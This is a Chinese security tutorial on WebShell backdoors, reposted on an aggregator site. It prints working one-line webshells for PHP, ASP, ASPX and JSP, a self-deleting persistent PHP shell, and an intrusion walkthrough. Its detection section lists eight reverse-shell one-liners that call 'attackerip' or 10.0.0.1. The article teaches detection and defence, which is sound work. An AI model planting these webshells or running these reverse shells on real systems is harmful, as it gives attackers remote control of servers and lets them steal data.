米桃安全漏洞讲堂系列第4期:WebShell木马专题

一、WebShell概述

WebShell是黑客经常使用的一种恶意脚本也称为木马后门。其目的是获得对服务器的执行操作权限,比如执行系统命令、窃取用户文件、访问数据库、删改web页面等,其危害不言而喻。 黑客利用常见的漏洞,如文件上传、SQL注入、远程文件包含,甚至使用跨站点脚本攻击(XSS)等方式作为社会工程攻击的一部分,最终达到控制网站服务器的目的。
为了更好理解WebShell,需要先了解两个概念:

  • 什么是“木马”?
    “木马”全称是“特洛伊木马(TrojanHorse)”,原指古希腊士兵藏在木马内进入敌方城市从而占领敌方城市的故事。
    在互联网中,“木马”指一些程序设计人员在其可从网络上下载的应用程序或文件中,包含了可以控制用户的计算机系统的程序,可能造成用户的系统被破坏甚至瘫痪。
  • 什么是“后门”?
    一台计算机上有65535个端口,若把计算机看作是一间屋子,65535个端口可以看做是计算机为与外界连接所开的65535 扇门。每个门的背后均承载一个服务。有的门是主人特地打开迎接客人(提供服务),有的门是主人为了出去访问客人而开设(访问远程服务)。理论上,除主人主动打开外,剩下其它门均应关闭,但因各种原因,如软件服务协议需要等,很多门均被开启。于是就有好事者进入,主人的隐私被刺探,生活被打扰,甚至屋内的东西也被搞得一片狼迹。这扇悄然被开启的门——就是“后门”。

1.1 WebShell的特点

WebShell就是网络上的特罗伊木马,也可称为后门。黑客在对目标进行攻击时,会使用各类漏洞工具进行尝试,在攻击行为后半段,常常会使用WebShell木马对攻陷的主机进一步利用,以及后续的内网横向扩展。本文所指WebShell等同木马。
黑客之所以青睐WebShell工具,主要因为WebShell有如下三大优势:

  • 功能丰富
    WebShell属于远程控制类木马。它可以做到访问目标机器文件、连接数据库、远程登录、上传下载、记录用户操作行为、账号提权、内网横向扩展等丰富功能。几乎涵盖后渗透中所有需要的功能。
  • 隐蔽性强
    WebShell可以嵌套在正常网页中运行,不容易被查杀。它还可以穿越服务器防火墙,由于与被控制的服务器或远程主机交互的数据都是通过80、443端口传递,因此不会被防火墙拦截。在没有记录流量的情况下,WebShell使用post包发送,也不会被记录在系统日志中,只会在Web日志中记录一些数据提交的记录。
  • 持久化
    WebShell脚本通常包含后门,黑客上传WebShell后,利用WebShell后门可实现远程访问并控制服务器,从而达到长期控制网站服务器的目的。此外,在上传完WebShell之后,黑客会选择自己修复漏洞,以确保没有其他人会利用该漏洞。通过这种方式,黑客就可以一种低调的姿态,避免与管理员进行任何交互,同时仍然获得相同的结果。

二、WebShell分类

编程语言角度,常见的WebShell脚本类型包括asp、aspx、jsp、php。若从广义的木马角度,还可包括python、perl等脚本语言。
从木马文件大小的角度分类,可分为大马、小马、一句话木马、内存马。随着木马体积的增大,功能也相对更丰富。但其隐蔽性越弱,特征明显,容易被安全防护设备识别。具体总结如下。

2.1 大马

体积大、功能全,具有文件管理、数据库管理、账号权限管理的能力,如phpSpy、jspSpy等常见大马。

2.2 小马

体积小、容易被上传,一般只具备文件上传功能,通常被用于下载大马。缺点是功能单一、隐藏性差。

2.3 一句话木马

一句话木马相比大马有本质的区别,用一句简短的代码来承载payload,将动辄十几K或者更大的大马&小马变成了几个字节。一句话代码极为精炼,不像小马&大马一样将直接功能写在脚本文件中,因此几乎没有什么特征,很难被病毒引擎检测到。一句话木马的出现,将攻击门槛和攻击成本大幅拉低,这也是目前最常见的WebShell攻击手段。一句话木马需要配合蚁剑、菜刀、冰蝎等客户端使用,通过客户端发送功能函数到服务端,服务端将功能函数执行并将结果返回,从而实现服务器端的恶意操作。
经典一句话木马包括:

php经典一句话木马:
    <?php @eval($_POST['a']);?> 
asp经典一句话木马:
    <%eval request("a")%>
aspx经典一句话木马:
   <%@ Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%> 
jsp经典一句话木马:
	<%Runtime.getRuntime().exec(request.getParameter("i"));%>

2.4 内存马

内存马是目前检测难度最高的WebShell,是一种无文件木马,在服务器端没有文件实体,而是通过Web中间件污染系统内存,实现恶意代码驻留,再通过远程工具连接即可利用中间件执行恶意操作,比一句话木马的检测难度更高,近年来备受攻击者追捧,但也有一定缺陷,比如Web中间件重启后就会被释放掉。
目前内存马主要分为:PHP内存马、Python内存马、Java内存马

典型的内存马如PHP不死马。是通过内存马启动后删除文件本身之前,使代码在内存中执行死循环,使管理员无法删除内存马,达到权限维持的目的。

##PHP不死马
<?php
  set_time_limit(0);
  ignore_user_abort(1);
  unlink(__FILE__);
  while (1) {
    $content =<?php @eval($_POST["123"]) ?>;
    file_put_contents("11.php", $content);
    usleep(10000);
}
?>

三、WebShell木马危害及利用方式

3.1 从一句话木马到控制主机

下面以一个博彩网站为案例说明,如何用木马实现对目标主机的控制。

对网站进行扫描,发现robots.txt文件中存在管理后台访问路径。使用密码爆破功能,成功爆破出网站后台管理员账号密码为admin/passw0rd。

登录后台,发现在 界面风格>编辑模板/css文件>添加模板处将aspx一句话木马添加成html文件。

利用WebShell管理工具菜刀成功连接到我们写入的一句话木马。

利用一句话木马上传一个aspx大马至目标服务器,方便进一步操作。

查看发现目标服务器为一台数据库服务器。开放1433端口,为MS SQL Server,使用xp_cmdshell执行系统命令漏洞,对数据库新增管理员角色。

之后打开目标主机3389端口,即可对目标主机实现远程登录。从而完成对服务器的控制。

上述案例从网站后台弱密码入手,使用文件上传功能,上传一句话目标,成功连接服务器。进而对主机进行渗透,最终完成对主机的完全控制。最关键的节点为通过木马,将攻击者和服务器连接起来。
完整的渗透攻防还包括前期信息搜集、木马解析、内网穿透、提权、横向扩展、权限维持、防溯源等内容,非本文重点,此处不赘述。

3.2 WebShell管理工具

常规的大马、小马、一句话木马、内存马,在木马隐蔽性和木马的功能丰富程度之间往往无法兼顾。为此,逐步发展出对WebShell木马的管理工具,能按场景生成需要的木马文件,兼顾木马免杀和功能丰富。
常用的WebShell管理工具包括,中国菜刀(Chopper)、冰蝎(Behinder)、蚁剑(AntSword)、哥斯拉(Godzilla)。通过管理工具连接上WebShell后就可以随心所欲的操作受害者主机,包括不局限于执行系统命令、探测内网、读取敏感文件、反弹shell、添加用户、清理痕迹、横向移动等操作。

3.2.1 中国菜刀(Chopper)

中国菜刀是一款专业的网站管理软件,用途广泛,使用方便,小巧实用,成名较早。只要支持动态脚本的网站,都可以用中国菜刀来进行管理。缺点是已可被绝大部分杀毒软件精准识别。

3.2.2 冰蝎(Behinder)

“冰蝎”是一个基于Java开发的动态二进制加密通信流量的新型WebShell客户端,可跨平台使用。目前最新版本为v4.1,兼容性较之前的版本有较大提升。由于其基于流量加密的的特性,冰蝎逐渐成为了红队成员在攻防演练期间经常使用的工具。
冰蝎主要功能有:基本信息、命令执行、虚拟终端、文件管理、Socks代理、反弹shell、数据库管理、自定义代码等,功能非常强大。
冰蝎其最大特点就是对交互流量进行对称加密,且加密秘钥是由随机数函数动态生成,因此该客户端的流量几乎无法检测。

3.2.3 蚁剑(AntSword)

中国蚁剑是一款开源的跨平台网站管理工具,源码建立在中国菜刀工具上。主要功能包括WebShell管理、文件管理、终端管理、数据库管理等功能。


3.2.4 哥斯拉(Godzilla)

哥斯拉是一款继冰蝎之后又一款于Java开发的加密通信流量的新型Webshell客户端。内置了多种有效载荷、加密器,支持内置插件,是目前在护网中使用较多的一款工具。

3.2.5 渗透测试框架

除了上述专门针对WebShell的管理工具,还有一类平台,专注于安全攻防全流程的渗透测试平台,也可称为远控工具。常见远程管理控制工具包括MSF、CobaltStrike、Armitage等。

  • Metasploit,开源软件
    Metasploit,简称MSF,是一款开源的渗透测试框架。默认集成在Kali系统中,用户也可自行安装。所有的 Metasploit 版本都可在 Unix(包括Linux和Mac OS X)和 Windows 上运行。Github地址:https://github.com/rapid7/metasploit-framework。
    其内含软件和其他产品的安全漏洞利用代码块,可以抽取各类系统的信息,或者在设备上开启远程控制。
    msf为总模块,其他均为分支模块:
    辅助模块 (Auxiliary,扫描器),扫描主机系统,寻找可用漏洞;
    渗透攻击模块 (Exploits),选择并配置一个漏洞利用模块;
    攻击载荷模块 (Payloads),选择并配置一个攻击载荷模块;
    后渗透攻击模块 (Post),用于内网渗透的各种操作;
    编码器模块 (Encoders),选择编码技术,绕过杀软(或其他免杀方式)。

  • Cobalt Strike,商业软件
    Cobalt Strike,常被业界称为CS神器。同样是一款出色的渗透测试框架,为商业软件。它分为客户端与服务端。服务端是一个,客户端可以有多个,可被团队进行分布式协团操作。
    Cobalt Strike集成了端口转发、扫描多模式端口Listener、Windows exe程序生成、Windows dll动态链接库生成、java程序生成、office宏代码生成,包括站点克隆获取浏览器的相关信息等。
    Team Server为团队服务器及Beacon 控制器,用于存储搜集各种数据、管理日志等。团队中的所有成员可以使用自己的Client端登录到Team Server实现协调作战。Beacon 是CobaltStrike 的 payload,常用的通信方式有HTTP、HTTPS和DNS隧道,除了DNS隧道,其他通信方式的回联端口均可自行设定。

四、WebShell木马检测及防护

上面讲述了WebShell的攻,下面讲述WebShell的防。

4.1 WebShell检测技术

WebShell的检测方式当今主流使用如下四种方式。

1)基于文件静态特征检测

技术原理:对脚本文件本身的hash值、文本内容中所使用的关键词、高危函数、文件修改时间、文件权限、文件所有者以及和其它文件的关联性等多个维度的特征进行检测,要求首先建立一个恶意字符串特征库用于比对。常见高危函数:

数据传递
$_GET、$_POST、$_COOKIE、$_SERVER  
命令执行
exec、passthru、shell_exec、system、eval
文件操作与远程 URL
file、file_get_contents、fopen、curl、fsockopen
回调函数
call_user_func、call_user_func_array、array_maparry_filter
其他高危函数
phpinfo、preg_replace、create_function、unserialize

优点:可快速检测,快速定位,对已知WebShell查找准确率高。
缺点:容易误报,无法对加密或者经过特殊处理的WebShell文件进行检测。尤其是针对窃密型WebShell无法做到准确的检测。窃密型Webshel通常具有和正常的WEB脚本文件具有相似的特征。

2)基于流量动态特征检测

由于所要完成的功能不同,攻击者访问 WebShell 脚本所产生的流量和正常 Web 页面请求所产生的流量模式不同,基于通信流量的检测就是通过对流量进行分析发现不同寻常的流量。
基于流量的检测是基于文件检测的一个重要补充,在某些场景下获取文件并对其进行检测是困难的,并且如内存马为无文件马,无法通过文件的方式进行检测,这时基于流量的检测就成为最重要的检测方式。
技术原理:采用流量(网关)型检测方式,先对流量"可视化”,检测WebShell在访问过程中产生的payload网络流量。经过一定的payload积累和规则定制,再经过和其它检测过程相结合形成一套基于流量分析WebShell检测引擎,嵌入到现有的网关型设备或云上实现WebShell的深度分析。
优点:可实时检测并阻止,还原攻击场景,快速定位主机和入侵者。
缺点:模型建立复杂(研发成本),无法检测加密payload。流量镜像部署成本。

进行网络流量检测,基于 WebShell 木马自身的静态特征进行识别。一些经典WebShell管理工具,如菜刀、蚁剑、冰蝎、哥斯拉等,它们所提供的 WebShell 具有一些固定的静态特征(即代码特征),成为流量类安全系统(如NDR/态势感知/WAF等)可以依赖的检测信标。总结如下:

菜刀WebShell的动态特征:
请求体中传递的payload为base64编码,并且存在固定,QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVSU0lPTjwnNS4zLjAnKXtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO307ZWNobygiWEBZIik7J

蚁剑WebShell动态特征:
每个请求体都存在@ini_set(“display_errors”, “0”);@set_time_limit(0)开头。并且存在base64等字符。
响应包的结果返回格式为  随机数 结果  随机数

冰蝎WebShell木马动态特征:
2.0版本中采用协商密钥机制。第一阶段请求中返回包状态码为200,返回内容必定是16位的密钥
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
3.0版本在使用命令执行功能时,请求包中content-length 为5740或5720(可能会根据Java版本而改变)
每一个请求头中存在Pragma: no-cache,Cache-Control: no-cache
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

哥斯拉WebShell动态特征:
所有请求中Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
所有响应中Cache-Control: no-store, no-cache, must-revalidate,

流量检测不仅对已知WebShell进行检测,还能识别出未知的、伪装性强的WebShell或组件反弹shell行为。对WebShell的访问特征(IP/UA/Cookie)、payload特征、path特征、时间特征等进行关联分析,以时间为索引,还原攻击事件。
流量检测恶意行为的方式,使用广泛,在安全产品iast交互式应用程序安全测试、rasp运行时应用自我保护技术中,均有用到。

3)基于日志分析检测

日志分析的WebShell检测,即根据确定的攻击事件来回溯已发生的攻击事件,再根据这用事件特征来防范在未来某时段内遭受到的相同攻击。其检测方式是先找到异常日志,再找到攻击日志,整个过程分两步:WebShell提取 + WebShell确认。
WebShell的提取依据以下特征:访问特征(主要特征)、path特征(辅助特征)、时间特征(辅助特征)、Payload特征(辅助特征)、行为特征
WebShell的确认要根据其网页特征(网页的内容/结构、视觉)来确认。提取确认WebShell的访问者特征(IP/UA/Cookie),Payload特征,时间特征,关联搜索,将搜索结果按时间排序,还原事件。

通过日志发现WebShell攻击的检测方式,在安全运营中心soc中较为常用。如常见的反弹shell命令,使用规则实时检测主机命令,可及时发现反弹shell行为,进而锁定攻击目标,进行阻断。
常见的反弹shell命令包括:

0x01 bash版本
bash -i >& /dev/tcp/attackerip/1234 0>&1
0x02 nc 版本
nc -e /bin/sh attackerip 1234
0x03 Telnet 版本
mknod backpipe p && telnet attackerip 8080 0<backpipe | /bin/bash 1>backpipe
0x04 Perl 版本
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
0x05 Python 版本
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
0x06 php 版本
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
0x07 java 版本
r = Runtime.getRuntime()p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])p.waitFor()
0x08 ruby 版本
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
4)基于统计学分析检测

基于统计学的WebShell分析主要是根据WebShell脚本与正常源码的差异性来识别。根据上面对WebShell的特征分析,可以从多个方面进行基于统计学的分析技术。
(1)文件的重合指数index of coincidence(缩写为IC),用来判断文件是否被加密的一种方法。
(2)信息熵,一个数学上的抽象概念,这里把信息熵理解成某种特定信息的出现概率(离散随机事件的出现概率)。一个系统越是有序,信息熵就越低;反之,一个系统越是混乱,信息熵就越高。信息熵也可以说是系统有序化程度的一个度量。
(3)文件中的最长单词,在通过base64等一些加密后的WebShell一般形成一整串字符串,为正常的源码一般都不会这样。
(4)文件的压缩比,压缩的实质,在于消除特定字符分布上的不均衡,通过将短码分配给高频字符,而长码对应低频字符实现长度上的优化。那么对于base64编码过的文件,消除了非ascii的字符,这样实际上base64编码过的文件的字符就会表现为更小的分布的不均衡,压缩比就会变大。
(5)特征值匹配,第一个是匹配特征函数和代码,第二个是指匹配特定WebShell中的特征值。
在具体实现上,典型的代表为NeoPI。项目地址:https://github.com/CiscoCXSecurity/NeoPI。NeoPi采用的统计学分析方法就是以上五种技术。
采用这种检测方法也存在明显的弱点,NeoPi的检测重心在于识别混淆代码,它常常在识别模糊代码或者混淆编排的木马方面表现良好。未经模糊处理的代码对于NeoPi的检测机制较为透明。如果代码整合于系统中的其它脚本之上,这种“正常”的文件极可能无法被NeoPi识别出来。

4.2 WebShell木马防御建议

对于WebShell木马的防御,主要思路是切断其攻击链路。发现文件上传点——上传文件并解析——出内网连接攻击端——提权——获取数据——横向扩展——权限维持——痕迹清理。是一个完整的攻击链路。
从企业防护角度,可从如下三方面入手。

线上运维侧(前端):
  • 操作系统、数据库、中间件等及时更新漏洞补丁,预防如xp_cmdshell等提权漏洞。
  • 生产环境域名加入WAF防护。waf可防御绝大部分网络攻击行为,如命令注入、反弹shell等。
  • 公网环境收敛风险资产。防止暴露不必要的服务,为黑客提供利用条件。
  • 流量监控。使用ids、ips等安全工具,对网络流量进行监测。发现安全风险及时预警。
  • 日志监控。对于访问日志、系统日志、操作日志等进行监测,并配置WebShell行为特征告警,如反弹shell、文件hash等特征。
研发侧(后端):
  • 文件上传防护。主要针对文件上传漏洞,要对文件上传功能做相应防护。详情可参考本系列第3期内容:米桃安全漏洞讲堂系列第3期:任意文件上传漏洞-CSDN博客。总结为:后端白名单检查文件扩展名、后端限制文件上传大小、文件名随机命名、隐藏上传文件目录、文件不可执行。
  • 加强研发侧流量日志监控,如Error、Warn日志。
  • 禁用危险的PHP函数,例如exec()、shell_exec()、passthru()、system()、show_source()、proc_open()、pcntl_exec()、eval()与assert()。
  • 及时对研发组件的高危漏洞安装漏洞补丁。
  • 不要相信用户输入的信息。
用户侧:
  • 办公电脑安装安全软件,EDR、杀毒软件。
  • 提升安全防护意识。不打开未知链接、文件。如钓鱼邮件。
  • 安装程序从官方网站进行下载,并校验文件hash值。
  • 关注系统异常情况,如资源使用率飙升、未知进程等。
  • 常见的WebShell检测平台自查。如下。

D盾防火墙(病毒检测工具)
http://www.d99net.net

VirusTotal在线木马检测平台(集成多个国内外安全引擎)
https://www.virustotal.com/gui/home/upload

微步在线云沙箱病毒威胁检测平台
https://s.threatbook.cn

河马-内存马在线查杀平台
https://n.shellpub.com/

五、总结展望

本文主要介绍了WebShell木马的特点、攻击方式及检测防护方法。WebShell编码简单,使用方便,而且功能丰富,是黑客钟爱的一种利用方式。尤其在历年护网行动中,WebShell木马的成功植入,是攻击方红队的得分利器。
企业在预防WebShell攻击方面需注重安全意识培训、安全开发、线上安全监测、定期审计等。而未来的趋势将聚焦于整合人工智能、零信任模型和协同防御。实现对异常行为的实时检测与响应,进一步加强对WebShell等潜在威胁的阻击能力,帮助企业构筑更为强大的网络安全体系。

往期链接

米桃安全漏洞讲堂系列第3期:任意文件上传漏洞-CSDN博客
米桃安全漏洞讲堂系列第2期:XSS跨站脚本攻击漏洞-CSDN博客
米桃安全漏洞讲堂系列第1期:SQL注入漏洞-CSDN博客

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/460874.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

PMP和软考,考哪一个?

PMP跟软考有部分知识点是重合的&#xff0c;软考高项比较适用于计算机 IT 行业&#xff0c;而 PMP 不受行业限制&#xff0c;各行各业都适用&#xff0c;至于哪个更合适&#xff0c;看你想去国企还是民企&#xff0c;国企软考吃香&#xff0c;民企PMP 吃香 下面说下两者具体有什…

【四 (6)数据可视化之 Grafana安装、页面介绍、图表配置】

目录 文章导航一、Grafana介绍[✨ 特性]二、安装和配置1、安装2、权限配置&#xff08;账户/团队/用户&#xff09;①用户管理②团队管理③账户管理④看板权限 3、首选项配置4、插件管理①数据源插件②图表插件③应用插件④插件安装方式一⑤安装方式二 三、数据源管理1、添加数…

腾讯春招后端一面(八股篇)

前言 前几天在网上发了腾讯面试官问的一些问题&#xff0c;好多小伙伴关注&#xff0c;今天对这些问题写个具体答案&#xff0c;博主好久没看八股了&#xff0c;正好复习一下。 面试手撕了三道算法&#xff0c;这部分之后更&#xff0c;喜欢的小伙伴可以留意一下我的账号。 1…

JavaScript中的事件模型(详细案例代码)

文章目录 一、事件与事件流二、事件模型原始事件模型特性 标准事件模型特性 IE事件模型 一、事件与事件流 javascript中的事件&#xff0c;可以理解就是在HTML文档或者浏览器中发生的一种交互操作&#xff0c;使得网页具备互动性&#xff0c; 常见的有加载事件、鼠标事件、自定…

详解命令docker run -d --name container_name -e TZ=Asia/Shanghai your_image

docker run 是Docker的主要命令&#xff0c;用于从镜像启动一个新的容器。下面详细解释并举例说明 -d, --name, -e TZ 参数的用法&#xff1a; -d 或 --detach&#xff1a; 这个标志告诉Docker以守护进程&#xff08;后台&#xff09;模式运行容器。这意味着当你执行 docker ru…

JavaScript进阶:js的一些学习笔记-this指向,call,apply,bind,防抖,节流

文章目录 1. this指向1. 箭头函数 this的指向 2. 改变this的指向1. call()2. apply()3. bind() 3. 防抖和节流1. 防抖2. 节流 1. this指向 1. 箭头函数 this的指向 箭头函数默认帮我们绑定外层this的值&#xff0c;所以在箭头函数中this的值和外层的this是一样的箭头函数中的…

双碳目标下生态与农田系统温室气体排放模

当前全球温室气体大幅升高&#xff0c;过去170年CO2浓度上升47%&#xff0c;这种极速变化使得物种和生态系统的适应时间大大缩短&#xff0c;进而造成全球气候变暖、海平面上升、作物产量降低、人类心血管和呼吸道疾病加剧等种种危害。在此背景下&#xff0c;代表可持续发展的“…

linux ffmpeg编译

下载源码 https://ffmpeg.org/ csdn下载源码包 不想编译可以直接下载使用静态版本 https://ffmpeg.org/download.html https://johnvansickle.com/ffmpeg/ 根据cpu类型&#xff0c;下载解压后就可以直接使用了。 linux编译 安装底层依赖 yum install gcc yum isntall …

Openlayers入门教程 --- 万字长篇

也许你还不熟悉Openlayers&#xff0c;也许你是一个Openlayers小白&#xff0c;零基础没关系&#xff0c;这篇文章提供最基础的 Openlayers 教程&#xff0c;简单易学&#xff0c;贯穿整个Openlayers 知识体系。读完本文&#xff0c;您将会对 Openlayers 有一个全新的认识。 文…

FreeRTOS学习笔记

一、RTOS入门 1.RTOS介绍 RTOS全称&#xff1a;Real Time OS&#xff0c;实时操作系统。 特点&#xff1a; 分而治之&#xff1a;实现功能划分多个任务。延时函数&#xff1a;不会空等待&#xff0c;高优先级延时的时候执行低优先级&#xff0c;会让出CPU的使用权给其他任务…

Day43-2-企业级实时复制intofy介绍及实践

Day43-2-企业级实时复制intofy介绍及实践 1. 企业级备份方案介绍1.1 利用定时方式&#xff0c;实现周期备份重要数据信息。1.2 实时数据备份方案1.3 实时复制环境准备1.4 实时复制软件介绍1.5 实时复制inotify机制介绍1.6 项目部署实施1.6.1 部署环境准备1.6.2 检查Linux系统支…

Hive借助java反射解决User-agent编码乱码问题

一、需求背景 在截取到浏览器user-agent&#xff0c;并想保存入数据库中&#xff0c;经查询发现展示的为编码后的结果。 现需要经过url解码过程&#xff0c;将解码后的结果保存进数据库&#xff0c;那么有几种实现方式。 二、问题解决 1、百度&#xff1a;url在线解码工具 …

Hello,Spider!入门第一个爬虫程序

在各大编程语言中&#xff0c;初学者要学会编写的第一个简单程序一般就是“Hello, World!”&#xff0c;即通过程序来在屏幕上输出一行“Hello, World!”这样的文字&#xff0c;在Python中&#xff0c;只需一行代码就可以做到。我们把这第一个爬虫就称之为“HelloSpider”&…

免费分享一套SpringBoot+Vue自习室(预约)管理系统,帅呆了~~

大家好&#xff0c;我是java1234_小锋老师&#xff0c;看到一个不错的SpringBootVue自习室预约)管理系统&#xff0c;分享下哈。 项目视频演示 【免费】SpringBootVue自习室预约(预约)管理系统 Java毕业设计_哔哩哔哩_bilibili【免费】SpringBootVue自习室预约(预约)管理系统…

flask库

文章目录 flask库1. 基本使用2. 路由路径和路由参数3. 请求跳转和请求参数4. 模板渲染1. 模板变量2. 过滤器3. 测试器 5. 钩子函数与响应对象 flask库 flask是python编写的轻量级框架&#xff0c;提供Werkzeug&#xff08;WSGI工具集&#xff09;和jinjia2&#xff08;渲染模板…

关于Ubuntu虚拟机识别不了USB设备的解决方案

唉昨天从网上找了一天的解决方案都没法让我的Ubuntu虚拟机识别USB设备&#xff0c;CSDN上有些方法是让从控制面板中进行修复&#xff0c;很多人都是一样的做法链接&#xff0c;那我觉得应该是可以解决的啊&#xff01; 结果我去控制面板执行修复的时候&#xff0c;显示报错“没…

【QT 5 +Linux下qt软件点击.sh脚本运行+Dconf编辑器+学习他人文章+番外篇:点击脚本运行软件】

【QT 5 Linux下qt软件点击.sh脚本运行Dconf编辑器学习他人文章番外篇&#xff1a;点击脚本运行软件】 1、前言2、实验环境3、自我学习总结-本篇总结1、说明&#xff1a;代替qt的快捷方式2、适用性更广3、了解工具&#xff1a;Dconf编辑器注意事项&#xff1a; 4、参考链接-感谢…

融入Facebook的世界:探索数字化社交的魅力

融入Facebook的世界&#xff0c;是一场数字化社交的奇妙之旅。在这个广袤的虚拟社交空间中&#xff0c;人们可以尽情展现自己、分享生活&#xff0c;与全球朋友、家人和同事保持紧密联系&#xff0c;共同探索社交互动的乐趣与魅力。让我们深入了解这个世界的魅力所在&#xff1…

【Git】Github 上commit后,绿格子contribution却不显示?不知道怎么弥补?解决方法在这里

github 上commit后&#xff0c;绿格子&#xff08;contribution&#xff09;却不显示 问题描述 今天一直在github上面commit代码&#xff0c;但是github中并没有显示自己的contribution&#xff08;没有绿色的格子&#xff09;&#xff0c;全是空白&#xff0c;网上一查是因为…

图像分类技术在电商平台的创新应用与实践

一、引言 在当今快速发展的互联网电商领域&#xff0c;商家面临着激烈的竞争和不断变化的市场需求。我们在服务电商的过程中&#xff0c;利用AI大模型技术创新性地引入了图像分类技术&#xff0c;为供应链管理带来了革命性的变革。接下来&#xff0c;我们将深入探讨这一项目的…